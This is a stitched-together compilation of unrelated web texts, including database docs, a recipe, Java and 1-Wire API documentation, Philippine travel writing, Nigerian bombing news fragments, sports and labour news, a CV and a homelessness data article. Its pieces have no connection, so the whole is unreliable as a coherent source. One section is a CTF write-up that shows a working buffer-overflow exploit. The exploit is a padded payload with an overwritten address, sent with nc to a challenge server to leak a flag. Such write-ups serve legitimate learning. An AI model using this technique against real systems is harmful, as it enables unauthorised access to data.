5.10. Avro Schema Evolution Rules
Presto’s Hive and Kafka connectors support Avro’s schema evolution feature with backward compatibility. With backward compatibility, a newer schema can be used to read Avro data created with an older schema. Newly added/renamed fields must have a default value in the Avro schema file.
The schema evolution behavior is as follows:
- Column added in new schema - Data created with an older schema will produce a “default” value when table is using the new schema.
- Column removed in new schema - Data created with an older schema will no longer output the data from the column that was removed.
- Column is renamed in the new schema - This is equivalent to removing the column and adding a new one, and data created with an older schema will produce a “default” value when table is using the new schema.
- Changing type of column in the new schema - If the type coercion is supported by Avro or at the connector level (eg: Hive), then the conversion happens. An error is thrown for incompatible types.


Preparation time
overnight
Cooking time
30 mins to 1 hour
Serves
Serves 4
Blatjang is a rich and fruity Cape Malay condiment traditionally served with bobotie and other meat dishes. Here it's delicious with spiced pork chops.
To make the pork chops, put the salt, coriander seeds, fennel seeds, star anise and stem ginger in a saucepan with 1.5 litres/2¾ pints water. Heat gently, then remove from the heat and chill until cold.
Put the pork chops in a container and pour over the cold marinade. Cover and leave in the fridge for 6 hours.
Preheat a barbecue or grill to the highest setting.
To make the blatjang, mix together the whole dried apricots, raisins, both types of mustard seeds, sugar and vinegar in a saucepan. Cook over a low heat for 15 minutes, or until thickened. Stir in the ground almonds, chopped apricots, chilli and coriander.
Grill the marinated pork chops for 5 minutes on each side, or until cooked through.
Meanwhile, to make the radishes, mix the mooli with the black radish and breakfast radishes, drizzle over the oil and season.
Serve the pork chops with the blatjang and radishes and scatter over the watercress.


Author: Rafael Benevides
Level: Beginner
Technologies: JSF, CDI, Deltaspike
Summary: Demonstrate usage of DeltaSpike project stage and shows usage of a conditional @Exclude
Prerequisites: Target Product: WildFly
Source: https://github.com/jboss-jdf/jboss-as-quickstart/
Project stages provide a way to customize the implementation based on the type of deployment environment. For example, you may want to generate sample data for system testing, but not for production. You can create a bean that generates sample data and activate it only for project stage SystemTest
Besides custom project stages it's possible to use the following pre-defined project stages:
Furthermore, with @Exclude
, it is possible to annotate beans which should be ignored by CDI, even if they are in a CDI enabled archive.
This project has a interface called MyBean
that has 4 different implementations:
@Exclude(exceptIfProjectStage=Development.class)
to exclude the implementation if the project stage is anything other than Development..@Exclude(ifProjectStage=Development.class)
to exclude the implementation for project stage Development.@Exclude
to exclude the implementation for all project stages.All you need to build this project is Java 8.0 (Java SDK 1.8) or better, Maven 3.1 or better.
The application this project produces is designed to be run on WildFly 10.
If you have not yet done so, you must Configure Maven before testing the quickstarts.
For Linux: JBOSS_HOME/bin/standalone.sh
For Windows: JBOSS_HOME\bin\standalone.bat
NOTE: The following build command assumes you have configured your Maven user settings. If you have not, you must include Maven setting arguments on the command line. See Build and Deploy the Quickstarts for complete instructions and additional options.
mvn clean package wildfly:deploy
target/wildfly-as-deltaspike-projectstage.war
to the running instance of the server.Access the running application in a browser at the following URL: http://localhost:8080/wildfly-deltaspike-projectstage
You be presented with a simple page that shows the current project stage: Staging. You will se also the List of available CDI instances for MyBean table with two available implementations.
Edit the file src/main/resources/META-INF/apache-deltaspike.properties
and change the org.apache.deltaspike.ProjectStage
property to Development
. Deploy the application again
mvn clean package wildfly:deploy
Access the application again at the same URL: http://localhost:8080/wildfly-deltaspike-projectstage
Look at List of available CDI instances for MyBean table and realize that the available implementations has changed.
mvn wildfly:undeploy
You can also start the server and deploy the quickstarts from Eclipse using JBoss tools. For more information, see Use JBoss Developer Studio or Eclipse to Run the Quickstarts
If you want to debug the source code or look at the Javadocs of any library in the project, run either of the following commands to pull them into your local repository. The IDE should then detect them.
mvn dependency:sources
mvn dependency:resolve -Dclassifier=javadoc


|
1-Wire API for Compact.NET Version 4.00
|
1-Wire Network State contains the current 1-Wire Network state information More...
Public Member Functions | |
| OneWireState () | |
| Construct the initial state of the 1-Wire Network. | |
Public Attributes | |
| OWSpeed | oneWireSpeed |
| This is the current logical speed that the 1-Wire Network is operating at. | |
| OWLevel | oneWireLevel |
| This is the current logical 1-Wire Network pullup level. | |
| bool | canProgram |
| True if programming voltage is available. | |
| bool | levelChangeOnNextBit |
| True if a level change is primed to occur on the next bit of communication. | |
| bool | levelChangeOnNextByte |
| True if a level change is primed to occur on the next byte of communication. | |
| OWLevel | primedLevelValue |
| The new level value that is primed to change on the next bit or byte depending on the flags, levelChangeOnNextBit and levelChangeOnNextByte. | |
| OWPowerTime | levelTimeFactor |
| The amount of time that the 'level' value will be on for. | |
| int | searchLastDiscrepancy |
| Value of the last discrepancy during the last Search for an iButton. | |
| int | searchFamilyLastDiscrepancy |
| Value of the last discrepancy in the family code during the last Search for an iButton. | |
| bool | searchLastDevice |
| Flag to indicate that the last device found is the last device in a Search sequence on the 1-Wire Network. | |
| byte[] | ID |
| ID number of the current iButton found. | |
| byte[] | searchIncludeFamilies |
| Array of iButton families to include in any Search. | |
| byte[] | searchExcludeFamilies |
| Array of iButton families to exclude in any Search. | |
| bool | searchOnlyAlarmingButtons |
| Flag to indicate the conditional Search is to be performed so that only iButtons in an alarm state will be found. | |
| bool | skipResetOnSearch |
| Flag to indicate next Search will not be preceeded by a 1-Wire reset. |
1-Wire Network State contains the current 1-Wire Network state information
<version>0.00</version> <author>DS, SH</author>
| OneWireState | ( | ) |
Construct the initial state of the 1-Wire Network.
| bool canProgram |
True if programming voltage is available.
| byte [] ID |
ID number of the current iButton found.
| OWPowerTime levelTimeFactor |
The amount of time that the 'level' value will be on for.
| OWLevel oneWireLevel |
This is the current logical 1-Wire Network pullup level.
| OWSpeed oneWireSpeed |
This is the current logical speed that the 1-Wire Network is operating at.
| OWLevel primedLevelValue |
The new level value that is primed to change on the next bit or byte depending on the flags, levelChangeOnNextBit and levelChangeOnNextByte.
| byte [] searchExcludeFamilies |
Array of iButton families to exclude in any Search.
| byte [] searchIncludeFamilies |
Array of iButton families to include in any Search.
Value of the last discrepancy during the last Search for an iButton.
| bool skipResetOnSearch |
Flag to indicate next Search will not be preceeded by a 1-Wire reset.


Baguio City perched on top of mountains and among the clouds Baguio City, the de facto capital of the Philippine Cordilleras, is a city I have grown to love. Though much of it is being rapidly developed, it is still quite a travel experience being in a city perched on top of mountains and among the clouds with an elevation of 1,600 meters above sea level. It certainly helps that the city’s climate is cooler than any other city in the country and that it is home to a number of fantastic restaurants, one of which is the vegetarian restaurant cum art gallery Oh My Gulay. If only for Oh My Gulay, Baguio is worth a visit.
Crop terraces viewed from the highest highway in the Philippines, the Halsema Highway The highest mountain range in the Philippines happens to have one of the most scenic drives in the country. The Halsema Highway begins in La Trinidad, Benguet right outside Baguio City and winds through the gorgeous mountain scenery of the Philippine Cordilleras featuring rice terraces, verdant valleys, deep gorges and dizzying cliffs. The highway even climbs up to 2,200 meters above sea level in a section of the road near Atok in Benguet. Views from up here are stunning. The road passes through the capital of Mountain Province Bontoc before winding down to Tabuk in Kalinga. Many hours later, you suddenly find 800 new photos in your camera.
Here found the much photographed Pool Of Pines, a rectangular pool of water surrounded by flowers and pine trees but it’s more famous to locals and tourists alike as the place where you can ride horses with over a hundred of them to choose from. You can also have a photo taken unlimited wearing native costumes for the price of 20 pesos per person.
The hanging coffins of the local Ifugao people of Sagada The small town of Sagada in the Philippine Cordilleras has often been described as Baguio many years ago. I cannot say that for certain as I never saw what they were many years ago. What I can say is that the distinctive customs of the locals of Sagada here such as hanging the coffins of their dead on the side of the cliff are worth coming here. It helps that Sagada is also an outdoorsman’s paradise. Here, there’s trekking, swimming by the waterfalls, rafting, spelunking and a ton of other stuff to do.
ocated in La Trinidad, a nearby town in the outskirts of Baguio City are the vast strawberry farms. Here you can choose the type of strawberries you want from small to big ones or from half ripened to the fully ripened ones as you are picking them yourselves. Be careful though not to be too excited to pick every strawberry you see as the cost is triple times higher than the price of strawberries sold in the market, but getting to pick your own strawberries which you can bring home to families and friends with the touch of love is priceless.
Today it holds claim as the "Salad Bowl of the Philippines" because of the huge production of upland vegetables. Agriculture, small and large scale mining, gold panning, silver craft/ brass wares, gift and toy making, strawberry production, livestock and poultry, tiger grass broom making production. Rural industries include silver craft / brass wares, woodcraft, loom weaving, handmade paper decors and novelty items, garment knitting; sericulture and fruit vegetable processing such as strawberry jams, fruit jellies, candies, and preserves.
BRIEF DESCRIPTION A glance of the Philippine map will easily reveal the similarity of the physiography of Kalinga to that of a bust of a man akin to former President Ferdinand E. Marcos. The province’s geographic feature is charcterized in the western portion by sharp crested interlinking peaks of the steep slope, isolated flat lands, plateaus, and valleys. The eastern portion has generally rolling, gradually sloping foothills. With interlocking wide tracks of flat lands and flood plains along its main drainage system, this rare geography interposes a great role expected of the province in national development pursuits. GEOGRAPHY Kalinga is nestled on an elevation of 300 to 5,000 feet above sea level with a northsouth assemblage of mountain ranges within the Cordillera Central. It has been dubbed as the “Prince of the Highlands” in the Philippines. POLITICAL SUBDIVISIONS The province is composed of eight (8) municipalities: Balbalan, Lubuagan, Pasil, Pinukpuk, Rizal, Tabuk, Tanudan, and Tinglayan.
Banaue’s signature landscape: a rice stairway to heaven No other image best represents the Philippine Cordilleras other than the rice terraces which generations of local Ifugao people have constructed here in a bid to temper the land that they have been given. The grand green terraces are indeed a sight to behold that UNESCO noticed and named it a World Heritage Site. Banaue is just the jump-off point. There are many rice terraces here such as Batad and Mayaoyao to last you your whole trip. There is a reason for which I am writing about the Philippine Cordilleras at this point. By the time this post is published, I will actually be in the Philippine Cordilleras. The first three in the list, I have done. The final two should be easy. I hope.
This is the shortest route to Baguio City for travelers coming from Manila. Although, it has made headlines due to many vehicular accidents, it still is a favorite route going to the city as it offers breathtaking views along the way. Also along Kennon Rd., is the famous tourist attraction, the 43-feet high limestone sculpted Lion’s Head. The viewing deck at the upper end of Kennon Rd is the one famous to tourists for its spectacular view of the entire stretch of the highway and the surrounding mountains covered in greens.
Tam-awan Village was built to restore the Ifugao and Kalinga villages in Baguio City to give those people who haven’t been to the Cordilleras the experience of living immersed through the cultures of these natives. It has become an artists village as it is host to several art exhibits for artists from all over the city and beyond. It has an art gallery which houses paintings and other art pieces.


Whatever you need from a website, we are here to help you. Be it a renovation/update of an existing site or starting one from scratch, we are here to work with you every step of the way.
Here at LT Webdesigns we aim to create the perfect website for your needs, whether you already have a set specification to work to or have no idea at all,
we will work closely with you providing regular updates of the state of the website, making changes where you feel that they are necessary.
Need a site up in a rush? Not a problem, we will work as efficiently as possible to ensure the site is delivered to you on time.
No matter what you need from your new site, we will make sure it is included.
We can take your existing website and renovate it. Updating the website giving it a face lift and adding in any new services you require.
For an additional cost we are able to provide hosting for your websites.
Tell us your desired name and we will work on making sure that your web domain name is the most satisfactory.


LightDOM Demo
LightDom Demo: Editable Text with
ccm
components
Inner
Text here ...
... and here Blank:
Welcome from blank.
Abschlusstext
Standard Editor with enabled='["toggle", "bold", "h1", "h2", "indent", "outdent", "ccm-clock" ]
data via attribute
Tiny
Small
Medium
ccm
Full
submit


-
3-2-2014 Deadly bomb blasts have rocked a marketplace in the capital of Nigeria 's northern Borno state .
-
3-2-2014 Deadly bomb blasts have rocked a marketplace in the capital of Nigeria 's northern Borno state .
-
3-2-2014 Nigeria is battling a bloody Islamic insurgency , which has escalated over the past month .
-
3-2-2014 The groups are believed to be responsible for killing thousands of people in north and central regions of the country .
-
3-2-2014 The Islamist militant group wants to impose Shariah law in Nigeria .
-
4-14-2014 An earlier one on April 14 killed at least 75 people .
-
4-14-2014 While commiserating with the families of the defenceless who lost their lives in the act , the Minister assured Nigerians that the current administration will continue to do everything within available resources to discharge its constitutional and statutory responsibilities of providing secure environment for Nigerians and foreigners domiciled in the country at all times .
-
4-14-2014 The Minister further assured Nigerians that security agencies will ensure that those behind the act are apprehended and brought to book .
-
4-19-2014 The group released its new video to journalists in northeast Nigeria Saturday , hours after AFP news agency published highlights of the clip .
-
4-20-2014 Witnesses and reporters , however , put the casualty figure far higher .
-
5-1-2014 Abuja -- The Nigerian government has slapped a massive security cordon on Abuja in response to a deadly car bomb Thursday , ordering the closure of all public schools and offices from Wednesday when the capital will be hosting the World Economic Forum on Africa .
-
5-2-2014 Witnesses say an apparently bomb-rigged car exploded at the busy site shortly after its driver exited the vehicle and walked away .
-
5-2-2014 Witnesses say an apparently bomb-rigged car exploded at the busy site shortly after its driver exited the vehicle and walked away .
-
5-2-2014 The economic meeting is scheduled to hold from Wednesday to Friday , and will be attended by world leaders and business executives around the world . ''
-
5-2-2014 Measures scheduled by the organizers will see security zone perimeters expanded at key locations and additional security at venues , Abuja airport and key roads , as well as on dedicated shuttle services to and from the airport and between venues . ''
-
5-2-2014 Thursday 's attack occurred about 200 meters away from the scene of the first .
-
5-18-2014 Kano , the North 's most populated and cosmopolitan city had enjoyed months of respite from the militant sect after series of deadly attacks .
-
5-19-2014 Police Investigators have been combing the scene of a suicide car bomb attack that killed some people in Kano Sunday .
-
6-2-2014 The 23rd Armoured Brigade of the Nigerian Army , Yola , equally confirmed the blast .
-
6-2-2014 Adamawa Police Command confirmed the bomb blast , but could not confirm the casualty figure .
-
6-2-2014 He said the blast occurred at a popular relaxation centre , Kabang .
-
6-2-2014 The Command 's spokesman , Mallam Othman Abubakar , said the blast occurred at about 6p .
-
6-25-2014 The blast occurred at the busy plaza at about 4 p.m. local time , setting off a huge fire .
-
6-25-2014 Authorities say the explosion went off after bombers riding on a motorcycle hauled an explosive device towards the shopping mall .
-
6-25-2014 The blast occurred at the busy plaza at about 4 p.m. local time , setting off a huge fire .
-
6-23-2014 No group has claimed responsibility for the blast although the insurgent Boko Haram has carried out similar attacks in Kano and other northern states .
-
6-23-2014 He said the blast occurred at about 2:05 p.m. .
-
6-27-2014 The cause of the late Friday blast was not immediately clear , but Boko Haram Islamists have attacked Bauchi repeatedly during their five-year uprising aimed at creating a strict Islamic state in the north .
-
6-28-2014 Bomb attacks on targets which Boko Haram has branded sinful - including bars , churches and schools teaching a Western curriculum - have formed a major part of the insurgency .
-
6-28-2014 No claim of responsibility While no group had claimed responsibility for the attack , authorities in the West African country generally look for clues of involvement by the Islamist extremist group Boko Haram .
-
6-28-2014 Boko Haram began waging war against the Nigerian government in 2009 and seeks to introduce an Islamic state .
-
7-1-2014 While there was no immediate claim of responsibility , blame was likely to fall on Boko Haram , which was founded in Maiduguri more than a decade ago and has killed thousands during a five-year uprising .
-
6-28-2014 Police in the northern Nigerian city of Bauchi say they are searching for the reason for a deadly blast overnight .
-
7-1-2014 A truck exploded in a huge fireball killing at least 15 people on Tuesday in the northeast Nigerian city of Maiduguri , the latest attack in a city repeatedly hit by Boko Haram Islamists .
-
7-24-2014 A witness said the explosion targeted a prominent Islamic cleric , Dahiru Bauchi , who had delivered Ramadan lecture at the Square .
-
7-27-2014 By Shuaibu Ibrahim Six people were Sunday killed in Kano by bomb blast , believed to have been masterminded by Boko haram insurgents .
-
7-24-2014 By Mohammed Lere The blast occurred along Isa Kaita road which leads to the popular Murtala Square .
-
7-24-2014 The sheikh escaped unhurt as the bomb , concealed in a red Volkswagen golf car parked by the road side , went off , a witness , Hassan Mohammed , told PREMIUM TIMES . ''
-
7-28-2014 Eight people sustained injuries , three suspect were arrested by the police over the incident .
-
7-28-2014 The bomb blast occured at a Church and Kofar Nasarawa in Kano .
-
7-28-2014 Kano State Police Commissioner Mr. Adenrele Shinaba confirm the story .
-
9-17-2014 Gunshots and an explosion were heard at the school .
-
9-17-2014 According to reports , students were seen fleeing from the school .
-
9-17-2014 According to reports , there was a blast and sporadic gunshots resulting in pandemonium as residents scampered to safety while shop owners hurriedly locked up their shops .
-
9-17-2014 There was no immediate indication of whether there had been any casualties in the attack .
-
9-17-2014 A BLAST on Wednesday rocked the Federal College of Education , Kano .
-
11-4-2014 At least 29 persons were yesterday confirmed dead and 80 others seriously injured after a suspected Boko Haram suicide bomber targeted a religious procession of the Shia Islamic brotherhood in Potiskum town of Yobe State , officials and witnesses have said .
-
11-4-2014 LEADERSHIP had officially been informed by hospital sources in Potiskum that 22 persons were instantly killed in the blast , while five others died as a result of bullet injuries sustained during the shooting that followed the blast .
-
11-4-2014 A medical staff member of Potiskum General Hospital , who spoke to LEADERSHIP but wishes not to be named , said two other injured persons later died at about 6pm yesterday .
-
11-3-2014 Official figures said 8 people died , with 46 injured .
-
11-3-2014 Many other vehicles parked there were destroyed by the explosion .
-
11-10-2014 One witness said the explosions in the second biggest town in Bauchi State , occurred around 9 am as people , many of them from Potiskum in Yobe State , queued at the ATM to make cash withdrawals .
-
11-10-2014 A top security source told Weekly Trust that most of the victims came from Potiskum in Yobe State . ''
-
11-10-2014 By Ahmed Mohammed Bauchi -- At least 14 people were killed and many critically wounded when two bombs exploded at a First Bank Automatic Teller Machine -LRB- ATM -RRB- in Azare , headquarters of Katagum local government area of Bauchi State yesterday , residents .
-
11-10-2014 The 14 victims were buried in Azare cemetery yesterday after Islamic rites at the town 's central mosque .


Angry Arsenal fans call for Emery sack - The Nation Newspaper
Arsenal fans have taken to the social media to react to their 2-2 draw with Southampton, with ‘Emery Out’ trending on Twitter following the performance at the Emirates on Saturday, November 23.
Unai Emery was already under loads of pressure from fans after a poor start to the season and the team found themselves 2-1 down to Southampton on Saturday afternoon.
It required a 96th minute goal from Alexandre Lacazette to rescue a point, but it wasn’t enough to appease the angry fans on social media.
Another note: ‘I never want to see this geezer allowed inside our stadium again. He should be sacked immediately. Disgraceful management #EmeryOut #Arsenal pic.twitter.com/D23Ns7vjt8’
Fans were already annoyed with the manager before kick off. For a home game against a side in the relegation zone the Gunners played seven defensive players.
Read Also: BREAKING: Arsenal draw 2-2 with Crystal Palace
The north London side set up with three central defenders, two wing backs and Lucas Torreira and Mattéo Guendouzi side-by-side in central midfield.
They went behind through Danny Ings, after the Arsenal defence switched off, before Lacazette levelled things up. James Ward-Prowse made it 2-1, putting in the rebound after his penalty had been saved, before Lacazette made it 2-2.
The result means Emery’s side are on 18 points after 13 games, sitting in eighth place in the league behind Burnley, after winning just five games so far.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/add_theorem_by.html ---
Why does this fail?
meta def foo : tactic unit := do tactic.add_theorem_by `bar [] (expr.const `unit []) (do tactic.constructor, return ()), tactic.add_theorem_by `baz [] (expr.const `unit []) (do bar ← tactic.get_local `bar, tactic.exact bar, return ()), return ()
What error do you get?
"get_local tactic failed, unknown 'bar'"
Ah I see! You need resolve_name
get_local
is only for local constants
Is there a resource for more beautiful fresh local names than mk_fresh_name
?
yes, I think it is called get_unused_name
Last updated: Apr 24 2020 at 19:02 UTC


We visualize systems!
- grow user-centric bandwidth
- extend seamless partnerships
- grow e-business metrics
- maximize revolutionary mindshare
- repurpose cross-platform e-commerce
- redefine rich architectures
- evolve ubiquitous web services
- integrate wireless e-tailers


Just do it! (Pwnable)
This challenge was not very hard. I started by retrieving informations of the binary.
$ mv just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa just_do_it
$ ls -lh just_do_it
-rwxr-xr-x 1 quentin quentin 7,7K sept. 4 10:04 just_do_it
$ file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
$ ./checksec.sh/checksec --file just_do_it
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 just_do_it
From the protection field, only the NX bit is enable, not stripped, dynamically linked and the size is 7,7K. I then did some tests to see how the binary works. But at the first try I get an error “file open error. : No such file or directory”. After a check with ltrace, the binary try to open a file “flag.txt” and exit if it can’t.
$ echo toto>flag.txt
$ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
toto
Invalid Password, Try Again!
$ ltrace ./just_do_it
__libc_start_main(0x80485bb, 1, 0xffbfb964, 0x8048710 <unfinished ...>
setvbuf(0xf76ee5a0, 0, 2, 0) = 0
setvbuf(0xf76eed60, 0, 2, 0) = 0
setvbuf(0xf76eecc0, 0, 2, 0) = 0
fopen("flag.txt", "r") = 0x9524008
fgets("toto\n", 48, 0x9524008) = 0x804a080
puts("Welcome my secret service. Do yo"...Welcome my secret service. Do you know the password?
) = 53
puts("Input the password."Input the password.
) = 20
fgets(toto
"toto\n", 32, 0xf76ee5a0) = 0xffbfb898
strcmp("toto\n", "P@SSW0RD") = 1
puts("Invalid Password, Try Again!"Invalid Password, Try Again!
) = 29
+++ exited (status 0) +++
$ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
P@SSW0RD
Invalid Password, Try Again!
After some test, the binary ask for a password. I found it (P@SSW0RD) thanks to ltrace but this is not enough to pass this step.
I then check the assembly code and I realized that it did not interest to pass the password request because it only change the output of the program.
$ objdump -d -M intel just_do_it
...
80486e7: 75 08 jne 80486f1 <main+0x136>
80486e9: a1 34 a0 04 08 mov eax,ds:0x804a034
80486ee: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
80486f1: 83 ec 0c sub esp,0xc
80486f4: ff 75 f4 push DWORD PTR [ebp-0xc]
80486f7: e8 64 fd ff ff call 8048460 <puts@plt>
...
So I test an easy overflow on the password input.
$ python -c 'print "A"*20'|./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
Segmentation fault (core dumped)
A segfault with only 20 bytes? While the “fgets” function can read 32 bytes? (cf: ltrace on top) After some check with GDB, I found that the segfault occurs when the “put” function is executed because the overflow overwrite the address of the strings “Invalid Password, Try Again!” in the stack. So we can print every strings present in the binary thanks to that bug. After some others GDB test, I found a padding of 20 bytes before rewrite the address of the strings.
The first step done by the binary is:
- Open the file “flag.txt”
- Read it content and store it at an address of the data segment.
$ objdump -d -M intel just_do_it
...
8048648: 83 ec 04 sub esp,0x4
804864b: ff 75 f0 push DWORD PTR [ebp-0x10]
804864e: 6a 30 push 0x30
8048650: 68 80 a0 04 08 push 0x804a080
8048655: e8 e6 fd ff ff call 8048440 <fgets@plt>
At the address “0x08048650” we can see the instructions “push 0x804a080” which represent the buffer address of the file content pushed on the stack. So we will use it to display the content of the file “flag.txt”.
$ python -c 'print "A"*20+"\x80\xa0\x04\x08"'|nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}
Done.


Dutch hospitals close down as workers strike for higher pay
AMSTERDAM (Reuters) - Dozens of hospitals throughout the Netherlands closed for anything but the most urgent cases on Wednesday, as nurses and doctors went on strike demanding higher pay and better working conditions.
Hospital workers are demanding a general wage hike of 5%, higher bonuses for unexpected extra work and measures to relieve their workload.
The Dutch association of hospitals has so far offered around 3% extra pay and wishes to scrap the employers’ contribution to health insurance and to lower pay during sick leave.
The association has said the unions’ demands would cost hospitals 950 million euros ($1.05 billion), which they say is around 200 million euros more than they have to offer.
Unions say higher salaries and better working conditions would help make hospital work more attractive, as an ageing population and rising life expectancy look set to lead to a shortage of at least 100,000 care workers in the Netherlands by 2022.


Cluster "Heads".
This is an index of pages, internal and external, that provide more information about the project.
Internal Links
Cerberus Home
Spring Project Timeline
Fall Project Timeline [Completed]
External Links
GitHub Project Page
Senior Project Wiki
Website
Current Tools
Author
Project and code by @jordanwesthoff. Click on the profile for more information. RIT 2015. Senior thesis content.
"You are not like Cerberus, three gentlemen at once, are you?"
- Richard Brinsley Sheridan: Act IV, sc. ii.


--- layout: post title: Reading more, faster ---
As I’ve been quite ill for the last few days (don’t know if 39 degrees Celsius on wake up would be considered “quite” ill for most people. I don’t. I just pretend.) I’ve been looking for a way to read more entries in less time. I don’t follow the scoble rule about moving posts in a special outlook folder, but I do flag them. And I finally found today the missing piece.
All blogs go in their own folder. I use a search folder to show me all the unread entries. I read them one after the other, and can switch using the SPACE key. And when something looks interesting enough to remember or to blog about, I quick flag it… This is where it is interesting. You can do so by pressing INSERT. And this is not in the menu, only hidden in the outlook 2003 help file. What’s the point in putting some shortcuts on the menu and not others? Anyone have a rationale as to why they did that in outlook?


Vigorous and focused developer with great interest in web application development and artificial intelligence. By deep and broad exploration of the following concepts and applying them compatibly to various projects, I immerse myself in intensive love for these domains. I am a computer and language mania who dedicates to build and apply algorithms to solve real-world industry problems.
Combined Ms. and Ph.D. in Computer Science
B.Eng. in Computer Science and Technology
System Software Internship
Research Assistant
Python R&D Internship
Xueyi Zhou, Yohan Na, Minju Bang, and Dongkyu Chae. IMPsys: An Intelligent Mold Processing System for Smart Factory, IJCAI'23 (demo track).
Kabir S. Said, Liming Nie, Adekunle A. Ajibode, and Xueyi Zhou. GUI testing for mobile applications: objectives, Internetware'20.
IT.BT. Building, Hanyang University,
222 Wangsimni-ro, Seongdong-gu,
Seoul, South Korea 04763
<EMAIL_ADDRESS><EMAIL_ADDRESS>01059410804


This application is for all the health conscious and enthusiasts who wants to manage their daily meals. It will display the nutrient values of vegetables helping in managing the nutritional needs of body. This app will also track the vegetables consumed in the previous weeks.
Credits
- Shopping basket icon by Anton Scherbik
- Delete icon by Sergio Serrano
- Cells icon by Vectors Market from www.flaticon.com
- List icon by Freepik from www.flaticon.com
- Photo camera icon by Anton Saputro
- Edit Icon by Yannick
- SQLiteAssetHelper class by Jeff Gilfelt
- App Development by Rupesh Chavan


A Python library for interacting with Tezos blockchain,
testing smart contracts, and
writing
Michelson scripts.
You can run tests either on a remote node (without actual injecting) or using a builtin interpreter, it takes seconds to execute, not minutes.
PyTezos allows to patch AMOUNT, SENDER, SOURCE, BALANCE, NOW, initial storage, and handle exceptions raised by FAILWITH.
Builtin REPL allows to mock cross-contract calls — all you need is to validate parameters of the spawned transactions.
Contract interface is derived straight from the compiled Michelson code, it doesn't matter what is the source language, LIGO, SmartPy, or else.
Use the whole power of the Python unit testing framework, including various assert helpers and interactive debugging plugins in VSCode and PyCharm.
The minimal setup requires only a browser — you can manage Tezos contracts using Google Colaboratory, or any other online service that allows you to run Jupyter notebooks.
PyTezos is capable of almost everything tezos-client can do, so you can automate any CI/CD task, key management, data conversion or other.
PyTezos is perfect when you need to do something fast: the default node and key settings allow you to get started right away, and the built-in documentation allows you to avoid switching between windows.
PyTezos is built as flexible as possible: in most cases you will need only high-level interfaces, but at any moment you can go deeper and customize the logic.
Visualize and better understand stack transformations with the step-by-step execution and verbose logging.
Michelson instruction set is extended with useful helpers for debugging and patching context.
Mock blockchain bindings as you wish, even complicated scenarios like Big_map copying can be reproduced.
Shipped with autocomplete and builtin documentation, no need to switch tabs if you forget something.


How many people are homeless in San Francisco?
That question is the basis for the most frequent Google search in the city regarding homelessness. The answer, though, is elusive.
{% include '_components/_infobox.html' %}Multiple government agencies have attempted to calculate the scope of homelessness, but accurately measuring it or its social and economic impacts is difficult, if not impossible. Homelessness can take many forms and is often a temporary status, making it hard to reliably track.
The city hopes to build a more comprehensive information system, making it easier to count and provide assistance to homeless people. Currently, however, estimates on the number of people living on San Francisco’s streets — and the costs associated with them — vary dramatically.
The figure 6,686 is the most widely circulated approximation of homeless adults in the city. That number comes from a count made on a single night in January 2015, when volunteers fanned out across San Francisco and identified people who appeared to be sleeping on the streets, in parks, in cars, or anywhere else not meant for human habitation.
Those staying in a temporary shelter that evening were also counted to come up with the final estimate.
The biennial survey — conducted in cities across the country at the behest of the federal Department of Housing and Urban Development — provides the only consistent and uniform data enumerating street people. The information from those counts influences everything from federal funding for homeless services to newspaper headlines to discussions at City Hall. But they stem from an imprecise science.
In some cities, including San Francisco, volunteers are told not to speak with the people they’re counting for safety reasons, forcing them to rely on visual cues. Some, like a person curled up in a sleeping bag on the street, are pretty clear.
“It’s a big undercount, because they just look at someone and assume a housing status,” said Jennifer Friedenbach, executive director of the San Francisco advocacy group Coalition on Homelessness.
The HUD survey also excludes people sleeping on a friend’s couch or waiting for a shelter bed, as well as individuals who evaded the canvassers. The thousands of formerly homeless residing in permanent supportive housing — which offers a suite of services along with an apartment room for life — are also excluded from the figure.
“It’s not perfect, but it’s a good snapshot in time of the homeless,” said Eduardo Cabrera, a spokesman for HUD who participated in San Francisco’s most recent survey. “At this point, it’s the best tool we have to measure the extent of homelessness.”
San Francisco’s Department of Public Health maintains a robust database that accounts for every homeless person that uses medical, mental health or substance abuse services in the city.
Unlike the HUD count, which takes place over just a few hours, Public Health’s database, called the Coordinated Care Management System, tracks people who have experienced homelessness at any point during an entire fiscal year.
“It’s better for getting a sense of how many people in a community are touched by homelessness over a longer time span,” said Barry Lee, a Penn State sociology professor familiar with similar tracking systems. “By its nature, homelessness is episodic, it’s fluid.”
In fiscal 2014-15, Public Health’s CCMS reported 9,975 homeless individuals in the city, a figure nearly 50 percent higher than the biennial homeless count’s estimate (32 percent higher when including the supplemental youth count). The database, which provides a detailed breakdown of the health conditions and demographics of the people it tracks, paints a stark picture.
In the 2014-15 fiscal year:
More than half of the homeless people in CCMS had a history of depression or psychosis.
Roughly 60 percent had a history of drug or alcohol abuse.
A third had been intermittently homeless for longer than a decade, up from 9 percent in 2007. Nearly half of those individuals were African American. Just 6 percent of the city’s general population is black.
The number of homeless people age 60 or older jumped 30 percent, from 856 individuals in 2007 to 1,103 last year.
79 homeless people died in 2014-15. As of April, 87 homeless individuals had died in 2015-16, with three months left in the fiscal year.
Homeless people cost the city nearly $150 million in emergency health care last year, including ambulance rides, emergency room visits, placements in sobering centers and other services. A relatively small number accrued significantly high care costs.
The 1,320 homeless people needing the most aid required $106 million in emergency medical and mental health services last year — or roughly $80,000 on average — accounting for more than a fifth of all such costs in San Francisco.
“They’re a very vulnerable, very sick, and very high-cost group,” said Maria X Martinez, a Public Health director who helps oversee CCMS.
Public Health’s information system has helped San Francisco target and track its most needy residents, but it has a practical limitation: It only captures those using medical, mental health or substance abuse services.
Younger street people, who are typically healthier, are under-represented, according to Friedenbach. The more than 2,000 schoolchildren living without a stable home, according to the San Francisco Unified School District, are also probably missing from the database.
